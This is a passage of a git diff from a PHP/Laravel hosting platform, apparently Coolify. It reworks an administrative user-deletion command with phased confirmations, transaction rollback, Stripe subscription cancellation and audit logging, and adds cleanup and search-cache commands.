$this->newLine(); + + foreach ($preview['edge_cases'] as $edgeCase) { + $team = $edgeCase['team']; + $reason = $edgeCase['reason']; + $this->error("Team: {$team->name} (ID: {$team->id})"); + $this->error("Issue: {$reason}"); + + // Show team members for context + $this->info('Current members:'); + foreach ($team->members as $member) { + $role = $member->pivot->role; + $this->line(" - {$member->name} ({$member->email}) - Role: {$role}"); + } + + // Check for active resources + $resourceCount = 0; + foreach ($team->servers()->get() as $server) { + $resources = $server->definedResources(); + $resourceCount += $resources->count(); + } + + if ($resourceCount > 0) { + $this->warn(" ⚠️ This team has {$resourceCount} active resources!"); + } + + // Show subscription details if relevant + if ($team->subscription && $team->subscription->stripe_subscription_id) { + $this->warn(' ⚠️ Active Stripe subscription details:'); + $this->warn(" Subscription ID: {$team->subscription->stripe_subscription_id}"); + $this->warn(" Customer ID: {$team->subscription->stripe_customer_id}"); + + // Show other owners who could potentially take over + $otherOwners = $team->members + ->where('id', '!=', $this->user->id) + ->filter(function ($member) { + return $member->pivot->role === 'owner'; + }); + + if ($otherOwners->isNotEmpty()) { + $this->info(' Other owners who could take over billing:'); + foreach ($otherOwners as $owner) { + $this->line(" - {$owner->name} ({$owner->email})"); + } + } + } + + $this->newLine(); + } + + $this->error('Please resolve these issues manually before retrying:'); + + // Check if any edge case involves subscription payment issues + $hasSubscriptionIssue = $preview['edge_cases']->contains(function ($edgeCase) { + return str_contains($edgeCase['reason'], 'Stripe subscription'); + }); + + if ($hasSubscriptionIssue) { + $this->info('For teams with subscription payment issues:'); + $this->info('1. Cancel the subscription through Stripe dashboard, OR'); + $this->info('2. Transfer the subscription to another owner\'s payment method, OR'); + $this->info('3. Have the other owner create a new subscription after cancelling this one'); + $this->newLine(); + } + + $hasNoOwnerReplacement = $preview['edge_cases']->contains(function ($edgeCase) { + return str_contains($edgeCase['reason'], 'No suitable owner replacement'); + }); + + if ($hasNoOwnerReplacement) { + $this->info('For teams with no suitable owner replacement:'); + $this->info('1. Assign an admin role to a trusted member, OR'); + $this->info('2. Transfer team resources to another team, OR'); + $this->info('3. Delete the team manually if no longer needed'); + $this->newLine(); + } + + $this->error('USER DELETION ABORTED DUE TO EDGE CASES'); + $this->logAction("User deletion aborted for {$this->user->email}: Edge cases in team handling"); + + // Return false to trigger proper cleanup and lock release + return false; + } + + if ($preview['to_delete']->isEmpty() && + $preview['to_transfer']->isEmpty() && + $preview['to_leave']->isEmpty()) { + $this->info('No team changes needed.'); + + return true; + } + + if ($preview['to_delete']->isNotEmpty()) { + $this->warn('Teams to be DELETED (user is the only member):'); + $this->table( + ['ID', 'Name', 'Resources', 'Subscription'], + $preview['to_delete']->map(function ($team) { + $resourceCount = 0; + foreach ($team->servers()->get() as $server) { + $resourceCount += $server->definedResources()->count(); + } + $hasSubscription = $team->subscription && $team->subscription->stripe_subscription_id + ? '⚠️ YES - '.$team->subscription->stripe_subscription_id + : 'No'; + + return [ + $team->id, + $team->name, + $resourceCount, + $hasSubscription, + ]; + })->toArray() + ); + $this->newLine(); + } + + if ($preview['to_transfer']->isNotEmpty()) { + $this->warn('Teams where ownership will be TRANSFERRED:'); + $this->table( + ['Team ID', 'Team Name', 'New Owner', 'New Owner Email'], + $preview['to_transfer']->map(function ($item) { + return [ + $item['team']->id, + $item['team']->name, + $item['new_owner']->name, + $item['new_owner']->email, + ]; + })->toArray() + ); + $this->newLine(); + } + + if ($preview['to_leave']->isNotEmpty()) { + $this->warn('Teams where user will be REMOVED (other owners/admins exist):'); + $userId = $this->user->id; + $this->table( + ['ID', 'Name', 'User Role', 'Other Members'], + $preview['to_leave']->map(function ($team) use ($userId) { + $userRole = $team->members->where('id', $userId)->first()->pivot->role; + $otherMembers = $team->members->count() - 1; + + return [ + $team->id, + $team->name, + $userRole, + $otherMembers, + ]; + })->toArray() + ); + $this->newLine(); + } + + $this->error('⚠️ WARNING: Team changes affect access control and ownership!'); + if (! $this->confirm('Are you sure you want to proceed with these team changes?', false)) { + return false; + } + + if (! $this->isDryRun) { + $this->info('Processing team changes...'); + try { + $result = $action->execute(); + $this->info("✓ Teams deleted: {$result['deleted']}, ownership transferred: {$result['transferred']}, left: {$result['left']}"); + $this->logAction("Team changes for user {$this->user->email}: deleted {$result['deleted']}, transferred {$result['transferred']}, left {$result['left']}"); + } catch (\Exception $e) { + $this->error('Failed to process team changes:'); + $this->error('Exception: '.get_class($e)); + $this->error('Message: '.$e->getMessage()); + $this->error('File: '.$e->getFile().':'.$e->getLine()); + + if ($this->output->isVerbose()) { + $this->error('Stack Trace:'); + $this->error($e->getTraceAsString()); + } + + throw $e; // Re-throw to trigger rollback + } + } + + return true; + } + + private function cancelStripeSubscriptions(): bool + { + $this->newLine(); + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 6: CANCEL STRIPE SUBSCRIPTIONS'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $action = new CancelSubscription($this->user, $this->isDryRun); + $subscriptions = $action->getSubscriptionsPreview(); + + if ($subscriptions->isEmpty()) { + $this->info('No Stripe subscriptions to cancel.'); + + return true; + } + + // Verify subscriptions in Stripe before showing details + $this->info('Verifying subscriptions in Stripe...'); + $verification = $action->verifySubscriptionsInStripe(); + + if (! empty($verification['errors'])) { + $this->warn('⚠️ Errors occurred during verification:'); + foreach ($verification['errors'] as $error) { + $this->warn(" - {$error}"); + } + $this->newLine(); + } + + if ($verification['not_found']->isNotEmpty()) { + $this->warn('⚠️ Subscriptions not found or inactive in Stripe:'); + foreach ($verification['not_found'] as $item) { + $subscription = $item['subscription']; + $reason = $item['reason']; + $this->line(" - {$subscription->stripe_subscription_id} (Team: {$subscription->team->name}) - {$reason}"); + } + $this->newLine(); + } + + if ($verification['verified']->isEmpty()) { + $this->info('No active subscriptions found in Stripe to cancel.'); + + return true; + } + + $this->info('Active Stripe subscriptions to cancel:'); + $this->newLine(); + + $totalMonthlyValue = 0; + foreach ($verification['verified'] as $item) { + $subscription = $item['subscription']; + $stripeStatus = $item['stripe_status']; + $team = $subscription->team; + $planId = $subscription->stripe_plan_id; + + // Try to get the price from config + $monthlyValue = $this->getSubscriptionMonthlyValue($planId); + $totalMonthlyValue += $monthlyValue; + + $this->line(" - {$subscription->stripe_subscription_id} (Team: {$team->name})"); + $this->line(" Stripe Status: {$stripeStatus}"); + if ($monthlyValue > 0) { + $this->line(" Monthly value: \${$monthlyValue}"); + } + if ($subscription->stripe_cancel_at_period_end) { + $this->line(' ⚠️ Already set to cancel at period end'); + } + } + + if ($totalMonthlyValue > 0) { + $this->newLine(); + $this->warn("Total monthly value: \${$totalMonthlyValue}"); + } + $this->newLine(); + + $this->error('⚠️ WARNING: Subscriptions will be cancelled IMMEDIATELY (not at period end)!'); + $this->warn('⚠️ NOTE: This operation happens AFTER database commit and cannot be rolled back!'); + if (! $this->confirm('Are you sure you want to cancel all these subscriptions immediately?', false)) { + return false; + } + + if (! $this->isDryRun) { + $this->info('Cancelling subscriptions...'); + $result = $action->execute(); + $this->info("Cancelled {$result['cancelled']} subscriptions, {$result['failed']} failed"); + if ($result['failed'] > 0 && ! empty($result['errors'])) { + $this->error('Failed subscriptions:'); + foreach ($result['errors'] as $error) { + $this->error(" - {$error}"); + } + + return false; + } + $this->logAction("Cancelled {$result['cancelled']} Stripe subscriptions for user {$this->user->email}"); + } + + return true; + } + + private function deleteUserProfile(): bool + { + $this->newLine(); + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 5: DELETE USER PROFILE'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $this->warn('⚠️ FINAL STEP - This action is IRREVERSIBLE!'); + $this->newLine(); + + $this->info('User profile to be deleted:'); + $this->table( + ['Property', 'Value'], + [ + ['Email', $this->user->email], + ['Name', $this->user->name], + ['User ID', $this->user->id], + ['Created', $this->user->created_at->format('Y-m-d H:i:s')], + ['Email Verified', $this->user->email_verified_at ? 'Yes' : 'No'], + ['2FA Enabled', $this->user->two_factor_confirmed_at ? 'Yes' : 'No'], + ] + ); + + $this->newLine(); + + $this->warn("Type 'DELETE {$this->user->email}' to confirm final deletion:"); + $confirmation = $this->ask('Confirmation'); + + if ($confirmation !== "DELETE {$this->user->email}") { + $this->error('Confirmation text does not match. Deletion cancelled.'); + + return false; + } + + if (! $this->isDryRun) { + $this->info('Deleting user profile...'); + + try { + $this->user->delete(); + $this->info('✓ User profile deleted successfully.'); + $this->logAction("User profile deleted: {$this->user->email}"); + } catch (\Exception $e) { + $this->error('Failed to delete user profile:'); + $this->error('Exception: '.get_class($e)); + $this->error('Message: '.$e->getMessage()); + $this->error('File: '.$e->getFile().':'.$e->getLine()); + + if ($this->output->isVerbose()) { + $this->error('Stack Trace:'); + $this->error($e->getTraceAsString()); + } + + $this->logAction("Failed to delete user profile {$this->user->email}: {$e->getMessage()}"); + + throw $e; // Re-throw to trigger rollback + } + } + + return true; + } + + private function getSubscriptionMonthlyValue(string $planId): int + { + // Try to get pricing from subscription metadata or config + // Since we're using dynamic pricing, return 0 for now + // This could be enhanced by fetching the actual price from Stripe API + + // Check if this is a dynamic pricing plan + $dynamicMonthlyPlanId = config('subscription.stripe_price_id_dynamic_monthly'); + $dynamicYearlyPlanId = config('subscription.stripe_price_id_dynamic_yearly'); + + if ($planId === $dynamicMonthlyPlanId || $planId === $dynamicYearlyPlanId) { + // For dynamic pricing, we can't determine the exact amount without calling Stripe API + // Return 0 to indicate dynamic/usage-based pricing + return 0; + } + + // For any other plans, return 0 as we don't have hardcoded prices + return 0; + } + + private function logAction(string $message): void + { + $logMessage = "[CloudDeleteUser] {$message}"; + + if ($this->isDryRun) { + $logMessage = "[DRY RUN] {$logMessage}"; + } + + Log::channel('single')->info($logMessage); + + // Also log to a dedicated user deletion log file + $logFile = storage_path('logs/user-deletions.log'); + + // Ensure the logs directory exists + $logDir = dirname($logFile); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $timestamp = now()->format('Y-m-d H:i:s'); + file_put_contents($logFile, "[{$timestamp}] {$logMessage}\n", FILE_APPEND | LOCK_EX); + } + + private function displayErrorState(string $failedAt): void + { + $this->newLine(); + $this->error('═══════════════════════════════════════'); + $this->error('DELETION STATE AT FAILURE'); + $this->error('═══════════════════════════════════════'); + $this->error("Failed at: {$failedAt}"); + $this->newLine(); + + $stateTable = []; + foreach ($this->deletionState as $phase => $completed) { + $phaseLabel = str_replace('_', ' ', ucwords($phase, '_')); + $status = $completed ? '✓ Completed' : '✗ Not completed'; + $stateTable[] = [$phaseLabel, $status]; + } + + $this->table(['Phase', 'Status'], $stateTable); + $this->newLine(); + + // Show what was rolled back vs what remains + if ($this->deletionState['db_committed']) { + $this->error('⚠️ DATABASE COMMITTED - Changes CANNOT be rolled back!'); + } else { + $this->info('✓ Database changes were ROLLED BACK'); + } + + $this->newLine(); + $this->error('User email: '.$this->user->email); + $this->error('User ID: '.$this->user->id); + $this->error('Timestamp: '.now()->format('Y-m-d H:i:s')); + $this->newLine(); + } + + private function displayRecoverySteps(): void + { + $this->error('═══════════════════════════════════════'); + $this->error('RECOVERY STEPS'); + $this->error('═══════════════════════════════════════'); + + if (! $this->deletionState['db_committed']) { + $this->info('✓ Database was rolled back - no recovery needed for database'); + $this->newLine(); + + if ($this->deletionState['phase_2_resources'] || $this->deletionState['phase_3_servers']) { + $this->warn('However, some remote operations may have occurred:'); + $this->newLine(); + + if ($this->deletionState['phase_2_resources']) { + $this->warn('Phase 2 (Resources) was attempted:'); + $this->warn('- Check remote servers for orphaned Docker containers'); + $this->warn('- Use: docker ps -a | grep coolify'); + $this->warn('- Manually remove if needed: docker rm -f '); + $this->newLine(); + } + + if ($this->deletionState['phase_3_servers']) { + $this->warn('Phase 3 (Servers) was attempted:'); + $this->warn('- Check for orphaned server configurations'); + $this->warn('- Verify SSH access to servers listed for this user'); + $this->newLine(); + } + } + } else { + $this->error('⚠️ DATABASE WAS COMMITTED - Manual recovery required!'); + $this->newLine(); + $this->error('The following data has been PERMANENTLY deleted:'); + + if ($this->deletionState['phase_5_user_profile']) { + $this->error('- User profile (email: '.$this->user->email.')'); + } + if ($this->deletionState['phase_4_teams']) { + $this->error('- Team memberships and owned teams'); + } + if ($this->deletionState['phase_3_servers']) { + $this->error('- Server records and configurations'); + } + if ($this->deletionState['phase_2_resources']) { + $this->error('- Applications, databases, and services'); + } + + $this->newLine(); + + if (! $this->deletionState['phase_6_stripe']) { + $this->error('Stripe subscriptions were NOT cancelled:'); + $this->error('1. Go to Stripe Dashboard: https://dashboard.stripe.com/'); + $this->error('2. Search for: '.$this->user->email); + $this->error('3. Cancel all active subscriptions manually'); + $this->newLine(); + } + } + + $this->error('Log file: storage/logs/user-deletions.log'); + $this->error('Check logs for detailed error information'); + $this->newLine(); + } + + /** + * Register signal handlers for graceful shutdown on Ctrl+C (SIGINT) and SIGTERM + */ + private function registerSignalHandlers(): void + { + if (! function_exists('pcntl_signal')) { + // pcntl extension not available, skip signal handling + return; + } + + // Handle Ctrl+C (SIGINT) + pcntl_signal(SIGINT, function () { + $this->newLine(); + $this->warn('═══════════════════════════════════════'); + $this->warn('⚠️ PROCESS INTERRUPTED (Ctrl+C)'); + $this->warn('═══════════════════════════════════════'); + $this->info('Cleaning up and releasing lock...'); + $this->releaseLock(); + $this->info('Lock released. Exiting gracefully.'); + exit(130); // Standard exit code for SIGINT + }); + + // Handle SIGTERM + pcntl_signal(SIGTERM, function () { + $this->newLine(); + $this->warn('═══════════════════════════════════════'); + $this->warn('⚠️ PROCESS TERMINATED (SIGTERM)'); + $this->warn('═══════════════════════════════════════'); + $this->info('Cleaning up and releasing lock...'); + $this->releaseLock(); + $this->info('Lock released. Exiting gracefully.'); + exit(143); // Standard exit code for SIGTERM + }); + + // Enable async signal handling + pcntl_async_signals(true); + } + + /** + * Release the lock if it exists + */ + private function releaseLock(): void + { + if ($this->lock) { + try { + $this->lock->release(); + } catch (\Exception $e) { + // Silently ignore lock release errors + // Lock will expire after 10 minutes anyway + } + } + } +} diff --git a/app/Console/Commands/AdminRemoveUser.php b/app/Console/Commands/AdminRemoveUser.php deleted file mode 100644 index d4534399c..000000000 --- a/app/Console/Commands/AdminRemoveUser.php +++ /dev/null @@ -1,56 +0,0 @@ -argument('email'); - $confirm = $this->confirm('Are you sure you want to remove user with email: '.$email.'?'); - if (! $confirm) { - $this->info('User removal cancelled.'); - - return; - } - $this->info("Removing user with email: $email"); - $user = User::whereEmail($email)->firstOrFail(); - $teams = $user->teams; - foreach ($teams as $team) { - if ($team->members->count() > 1) { - $this->error('User is a member of a team with more than one member. Please remove user from team first.'); - - return; - } - $team->delete(); - } - $user->delete(); - } catch (\Exception $e) { - $this->error('Failed to remove user.'); - $this->error($e->getMessage()); - - return; - } - } -} diff --git a/app/Console/Commands/CleanupStuckedResources.php b/app/Console/Commands/CleanupStuckedResources.php index ce2d6d598..0b13462ef 100644 --- a/app/Console/Commands/CleanupStuckedResources.php +++ b/app/Console/Commands/CleanupStuckedResources.php @@ -13,6 +13,7 @@ use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use App\Models\SslCertificate; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; @@ -58,6 +59,15 @@ private function cleanup_stucked_resources() } catch (\Throwable $e) { echo "Error in cleaning stucked resources: {$e->getMessage()}\n"; } + try { + $servers = Server::onlyTrashed()->get(); + foreach ($servers as $server) { + echo "Force deleting stuck server: {$server->name}\n"; + $server->forceDelete(); + } + } catch (\Throwable $e) { + echo "Error in cleaning stuck servers: {$e->getMessage()}\n"; + } try { $applicationsDeploymentQueue = ApplicationDeploymentQueue::get(); foreach ($applicationsDeploymentQueue as $applicationDeploymentQueue) { @@ -427,5 +437,18 @@ private function cleanup_stucked_resources() } catch (\Throwable $e) { echo "Error in ServiceDatabases: {$e->getMessage()}\n"; } + + try { + $orphanedCerts = SslCertificate::whereNotIn('server_id', function ($query) { + $query->select('id')->from('servers'); + })->get(); + + foreach ($orphanedCerts as $cert) { + echo "Deleting orphaned SSL certificate: {$cert->id} (server_id: {$cert->server_id})\n"; + $cert->delete(); + } + } catch (\Throwable $e) { + echo "Error in cleaning orphaned SSL certificates: {$e->getMessage()}\n"; + } } } diff --git a/app/Console/Commands/ClearGlobalSearchCache.php b/app/Console/Commands/ClearGlobalSearchCache.php new file mode 100644 index 000000000..a368b0bad --- /dev/null +++ b/app/Console/Commands/ClearGlobalSearchCache.php @@ -0,0 +1,83 @@ +option('all')) { + return $this->clearAllTeamsCache(); + } + + if ($teamId = $this->option('team')) { + return $this->clearTeamCache($teamId); + } + + // If no options provided, clear cache for current user's team + if (! auth()->check()) { + $this->error('No authenticated user found. Use --team=ID or --all option.'); + + return Command::FAILURE; + } + + $teamId = auth()->user()->currentTeam()->id; + + return $this->clearTeamCache($teamId); + } + + private function clearTeamCache(int $teamId): int + { + $team = Team::find($teamId); + + if (! $team) { + $this->error("Team with ID {$teamId} not found."); + + return Command::FAILURE; + } + + GlobalSearch::clearTeamCache($teamId); + $this->info("✓ Cleared global search cache for team: {$team->name} (ID: {$teamId})"); + + return Command::SUCCESS; + } + + private function clearAllTeamsCache(): int + { + $teams = Team::all(); + + if ($teams->isEmpty()) { + $this->warn('No teams found.'); + + return Command::SUCCESS; + } + + $count = 0; + foreach ($teams as $team) { + GlobalSearch::clearTeamCache($team->id); + $count++; + } + + $this->info("✓ Cleared global search cache for {$count} team(s)"); + + return Command::SUCCESS; + } +} diff --git a/app/Console/Commands/Cloud/CloudDeleteUser.php b/app/Console/Commands/Cloud/CloudDeleteUser.php deleted file mode 100644 index a2ea9b3e5..000000000 --- a/app/Console/Commands/Cloud/CloudDeleteUser.php +++ /dev/null @@ -1,744 +0,0 @@ -error('This command is only available on cloud instances.'); - - return 1; - } - - $email = $this->argument('email'); - $this->isDryRun = $this->option('dry-run'); - $this->skipStripe = $this->option('skip-stripe'); - $this->skipResources = $this->option('skip-resources'); - - if ($this->isDryRun) { - $this->info('🔍 DRY RUN MODE - No data will be deleted'); - $this->newLine(); - } - - try { - $this->user = User::whereEmail($email)->firstOrFail(); - } catch (\Exception $e) { - $this->error("User with email '{$email}' not found."); - - return 1; - } - - // Implement file lock to prevent concurrent deletions of the same user - $lockKey = "user_deletion_{$this->user->id}"; - $lock = Cache::lock($lockKey, 600); // 10 minute lock - - if (! $lock->get()) { - $this->error('Another deletion process is already running for this user. Please try again later.'); - $this->logAction("Deletion blocked for user {$email}: Another process is already running"); - - return 1; - } - - try { - $this->logAction("Starting user deletion process for: {$email}"); - - // Phase 1: Show User Overview (outside transaction) - if (! $this->showUserOverview()) { - $this->info('User deletion cancelled.'); - $lock->release(); - - return 0; - } - - // If not dry run, wrap everything in a transaction - if (! $this->isDryRun) { - try { - DB::beginTransaction(); - - // Phase 2: Delete Resources - if (! $this->skipResources) { - if (! $this->deleteResources()) { - DB::rollBack(); - $this->error('User deletion failed at resource deletion phase. All changes rolled back.'); - - return 1; - } - } - - // Phase 3: Delete Servers - if (! $this->deleteServers()) { - DB::rollBack(); - $this->error('User deletion failed at server deletion phase. All changes rolled back.'); - - return 1; - } - - // Phase 4: Handle Teams - if (! $this->handleTeams()) { - DB::rollBack(); - $this->error('User deletion failed at team handling phase. All changes rolled back.'); - - return 1; - } - - // Phase 5: Cancel Stripe Subscriptions - if (! $this->skipStripe && isCloud()) { - if (! $this->cancelStripeSubscriptions()) { - DB::rollBack(); - $this->error('User deletion failed at Stripe cancellation phase. All changes rolled back.'); - - return 1; - } - } - - // Phase 6: Delete User Profile - if (! $this->deleteUserProfile()) { - DB::rollBack(); - $this->error('User deletion failed at final phase. All changes rolled back.'); - - return 1; - } - - // Commit the transaction - DB::commit(); - - $this->newLine(); - $this->info('✅ User deletion completed successfully!'); - $this->logAction("User deletion completed for: {$email}"); - - } catch (\Exception $e) { - DB::rollBack(); - $this->error('An error occurred during user deletion: '.$e->getMessage()); - $this->logAction("User deletion failed for {$email}: ".$e->getMessage()); - - return 1; - } - } else { - // Dry run mode - just run through the phases without transaction - // Phase 2: Delete Resources - if (! $this->skipResources) { - if (! $this->deleteResources()) { - $this->info('User deletion would be cancelled at resource deletion phase.'); - - return 0; - } - } - - // Phase 3: Delete Servers - if (! $this->deleteServers()) { - $this->info('User deletion would be cancelled at server deletion phase.'); - - return 0; - } - - // Phase 4: Handle Teams - if (! $this->handleTeams()) { - $this->info('User deletion would be cancelled at team handling phase.'); - - return 0; - } - - // Phase 5: Cancel Stripe Subscriptions - if (! $this->skipStripe && isCloud()) { - if (! $this->cancelStripeSubscriptions()) { - $this->info('User deletion would be cancelled at Stripe cancellation phase.'); - - return 0; - } - } - - // Phase 6: Delete User Profile - if (! $this->deleteUserProfile()) { - $this->info('User deletion would be cancelled at final phase.'); - - return 0; - } - - $this->newLine(); - $this->info('✅ DRY RUN completed successfully! No data was deleted.'); - } - - return 0; - } finally { - // Ensure lock is always released - $lock->release(); - } - } - - private function showUserOverview(): bool - { - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 1: USER OVERVIEW'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $teams = $this->user->teams; - $ownedTeams = $teams->filter(fn ($team) => $team->pivot->role === 'owner'); - $memberTeams = $teams->filter(fn ($team) => $team->pivot->role !== 'owner'); - - // Collect all servers from all teams - $allServers = collect(); - $allApplications = collect(); - $allDatabases = collect(); - $allServices = collect(); - $activeSubscriptions = collect(); - - foreach ($teams as $team) { - $servers = $team->servers; - $allServers = $allServers->merge($servers); - - foreach ($servers as $server) { - $resources = $server->definedResources(); - foreach ($resources as $resource) { - if ($resource instanceof \App\Models\Application) { - $allApplications->push($resource); - } elseif ($resource instanceof \App\Models\Service) { - $allServices->push($resource); - } else { - $allDatabases->push($resource); - } - } - } - - if ($team->subscription && $team->subscription->stripe_subscription_id) { - $activeSubscriptions->push($team->subscription); - } - } - - $this->table( - ['Property', 'Value'], - [ - ['User', $this->user->email], - ['User ID', $this->user->id], - ['Created', $this->user->created_at->format('Y-m-d H:i:s')], - ['Last Login', $this->user->updated_at->format('Y-m-d H:i:s')], - ['Teams (Total)', $teams->count()], - ['Teams (Owner)', $ownedTeams->count()], - ['Teams (Member)', $memberTeams->count()], - ['Servers', $allServers->unique('id')->count()], - ['Applications', $allApplications->count()], - ['Databases', $allDatabases->count()], - ['Services', $allServices->count()], - ['Active Stripe Subscriptions', $activeSubscriptions->count()], - ] - ); - - $this->newLine(); - - $this->warn('⚠️ WARNING: This will permanently delete the user and all associated data!'); - $this->newLine(); - - if (! $this->confirm('Do you want to continue with the deletion process?', false)) { - return false; - } - - return true; - } - - private function deleteResources(): bool - { - $this->newLine(); - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 2: DELETE RESOURCES'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $action = new DeleteUserResources($this->user, $this->isDryRun); - $resources = $action->getResourcesPreview(); - - if ($resources['applications']->isEmpty() && - $resources['databases']->isEmpty() && - $resources['services']->isEmpty()) { - $this->info('No resources to delete.'); - - return true; - } - - $this->info('Resources to be deleted:'); - $this->newLine(); - - if ($resources['applications']->isNotEmpty()) { - $this->warn("Applications to be deleted ({$resources['applications']->count()}):"); - $this->table( - ['Name', 'UUID', 'Server', 'Status'], - $resources['applications']->map(function ($app) { - return [ - $app->name, - $app->uuid, - $app->destination->server->name, - $app->status ?? 'unknown', - ]; - })->toArray() - ); - $this->newLine(); - } - - if ($resources['databases']->isNotEmpty()) { - $this->warn("Databases to be deleted ({$resources['databases']->count()}):"); - $this->table( - ['Name', 'Type', 'UUID', 'Server'], - $resources['databases']->map(function ($db) { - return [ - $db->name, - class_basename($db), - $db->uuid, - $db->destination->server->name, - ]; - })->toArray() - ); - $this->newLine(); - } - - if ($resources['services']->isNotEmpty()) { - $this->warn("Services to be deleted ({$resources['services']->count()}):"); - $this->table( - ['Name', 'UUID', 'Server'], - $resources['services']->map(function ($service) { - return [ - $service->name, - $service->uuid, - $service->server->name, - ]; - })->toArray() - ); - $this->newLine(); - } - - $this->error('⚠️ THIS ACTION CANNOT BE UNDONE!'); - if (! $this->confirm('Are you sure you want to delete all these resources?', false)) { - return false; - } - - if (! $this->isDryRun) { - $this->info('Deleting resources...'); - $result = $action->execute(); - $this->info("Deleted: {$result['applications']} applications, {$result['databases']} databases, {$result['services']} services"); - $this->logAction("Deleted resources for user {$this->user->email}: {$result['applications']} apps, {$result['databases']} databases, {$result['services']} services"); - } - - return true; - } - - private function deleteServers(): bool - { - $this->newLine(); - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 3: DELETE SERVERS'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $action = new DeleteUserServers($this->user, $this->isDryRun); - $servers = $action->getServersPreview(); - - if ($servers->isEmpty()) { - $this->info('No servers to delete.'); - - return true; - } - - $this->warn("Servers to be deleted ({$servers->count()}):"); - $this->table( - ['ID', 'Name', 'IP', 'Description', 'Resources Count'], - $servers->map(function ($server) { - $resourceCount = $server->definedResources()->count(); - - return [ - $server->id, - $server->name, - $server->ip, - $server->description ?? '-', - $resourceCount, - ]; - })->toArray() - ); - $this->newLine(); - - $this->error('⚠️ WARNING: Deleting servers will remove all server configurations!'); - if (! $this->confirm('Are you sure you want to delete all these servers?', false)) { - return false; - } - - if (! $this->isDryRun) { - $this->info('Deleting servers...'); - $result = $action->execute(); - $this->info("Deleted {$result['servers']} servers"); - $this->logAction("Deleted {$result['servers']} servers for user {$this->user->email}"); - } - - return true; - } - - private function handleTeams(): bool - { - $this->newLine(); - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 4: HANDLE TEAMS'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $action = new DeleteUserTeams($this->user, $this->isDryRun); - $preview = $action->getTeamsPreview(); - - // Check for edge cases first - EXIT IMMEDIATELY if found - if ($preview['edge_cases']->isNotEmpty()) { - $this->error('═══════════════════════════════════════'); - $this->error('⚠️ EDGE CASES DETECTED - CANNOT PROCEED'); - $this->error('═══════════════════════════════════════'); - $this->newLine(); - - foreach ($preview['edge_cases'] as $edgeCase) { - $team = $edgeCase['team']; - $reason = $edgeCase['reason']; - $this->error("Team: {$team->name} (ID: {$team->id})"); - $this->error("Issue: {$reason}"); - - // Show team members for context - $this->info('Current members:'); - foreach ($team->members as $member) { - $role = $member->pivot->role; - $this->line(" - {$member->name} ({$member->email}) - Role: {$role}"); - } - - // Check for active resources - $resourceCount = 0; - foreach ($team->servers as $server) { - $resources = $server->definedResources(); - $resourceCount += $resources->count(); - } - - if ($resourceCount > 0) { - $this->warn(" ⚠️ This team has {$resourceCount} active resources!"); - } - - // Show subscription details if relevant - if ($team->subscription && $team->subscription->stripe_subscription_id) { - $this->warn(' ⚠️ Active Stripe subscription details:'); - $this->warn(" Subscription ID: {$team->subscription->stripe_subscription_id}"); - $this->warn(" Customer ID: {$team->subscription->stripe_customer_id}"); - - // Show other owners who could potentially take over - $otherOwners = $team->members - ->where('id', '!=', $this->user->id) - ->filter(function ($member) { - return $member->pivot->role === 'owner'; - }); - - if ($otherOwners->isNotEmpty()) { - $this->info(' Other owners who could take over billing:'); - foreach ($otherOwners as $owner) { - $this->line(" - {$owner->name} ({$owner->email})"); - } - } - } - - $this->newLine(); - } - - $this->error('Please resolve these issues manually before retrying:'); - - // Check if any edge case involves subscription payment issues - $hasSubscriptionIssue = $preview['edge_cases']->contains(function ($edgeCase) { - return str_contains($edgeCase['reason'], 'Stripe subscription'); - }); - - if ($hasSubscriptionIssue) { - $this->info('For teams with subscription payment issues:'); - $this->info('1. Cancel the subscription through Stripe dashboard, OR'); - $this->info('2. Transfer the subscription to another owner\'s payment method, OR'); - $this->info('3. Have the other owner create a new subscription after cancelling this one'); - $this->newLine(); - } - - $hasNoOwnerReplacement = $preview['edge_cases']->contains(function ($edgeCase) { - return str_contains($edgeCase['reason'], 'No suitable owner replacement'); - }); - - if ($hasNoOwnerReplacement) { - $this->info('For teams with no suitable owner replacement:'); - $this->info('1. Assign an admin role to a trusted member, OR'); - $this->info('2. Transfer team resources to another team, OR'); - $this->info('3. Delete the team manually if no longer needed'); - $this->newLine(); - } - - $this->error('USER DELETION ABORTED DUE TO EDGE CASES'); - $this->logAction("User deletion aborted for {$this->user->email}: Edge cases in team handling"); - - // Exit immediately - don't proceed with deletion - if (! $this->isDryRun) { - DB::rollBack(); - } - exit(1); - } - - if ($preview['to_delete']->isEmpty() && - $preview['to_transfer']->isEmpty() && - $preview['to_leave']->isEmpty()) { - $this->info('No team changes needed.'); - - return true; - } - - if ($preview['to_delete']->isNotEmpty()) { - $this->warn('Teams to be DELETED (user is the only member):'); - $this->table( - ['ID', 'Name', 'Resources', 'Subscription'], - $preview['to_delete']->map(function ($team) { - $resourceCount = 0; - foreach ($team->servers as $server) { - $resourceCount += $server->definedResources()->count(); - } - $hasSubscription = $team->subscription && $team->subscription->stripe_subscription_id - ? '⚠️ YES - '.$team->subscription->stripe_subscription_id - : 'No'; - - return [ - $team->id, - $team->name, - $resourceCount, - $hasSubscription, - ]; - })->toArray() - ); - $this->newLine(); - } - - if ($preview['to_transfer']->isNotEmpty()) { - $this->warn('Teams where ownership will be TRANSFERRED:'); - $this->table( - ['Team ID', 'Team Name', 'New Owner', 'New Owner Email'], - $preview['to_transfer']->map(function ($item) { - return [ - $item['team']->id, - $item['team']->name, - $item['new_owner']->name, - $item['new_owner']->email, - ]; - })->toArray() - ); - $this->newLine(); - } - - if ($preview['to_leave']->isNotEmpty()) { - $this->warn('Teams where user will be REMOVED (other owners/admins exist):'); - $userId = $this->user->id; - $this->table( - ['ID', 'Name', 'User Role', 'Other Members'], - $preview['to_leave']->map(function ($team) use ($userId) { - $userRole = $team->members->where('id', $userId)->first()->pivot->role; - $otherMembers 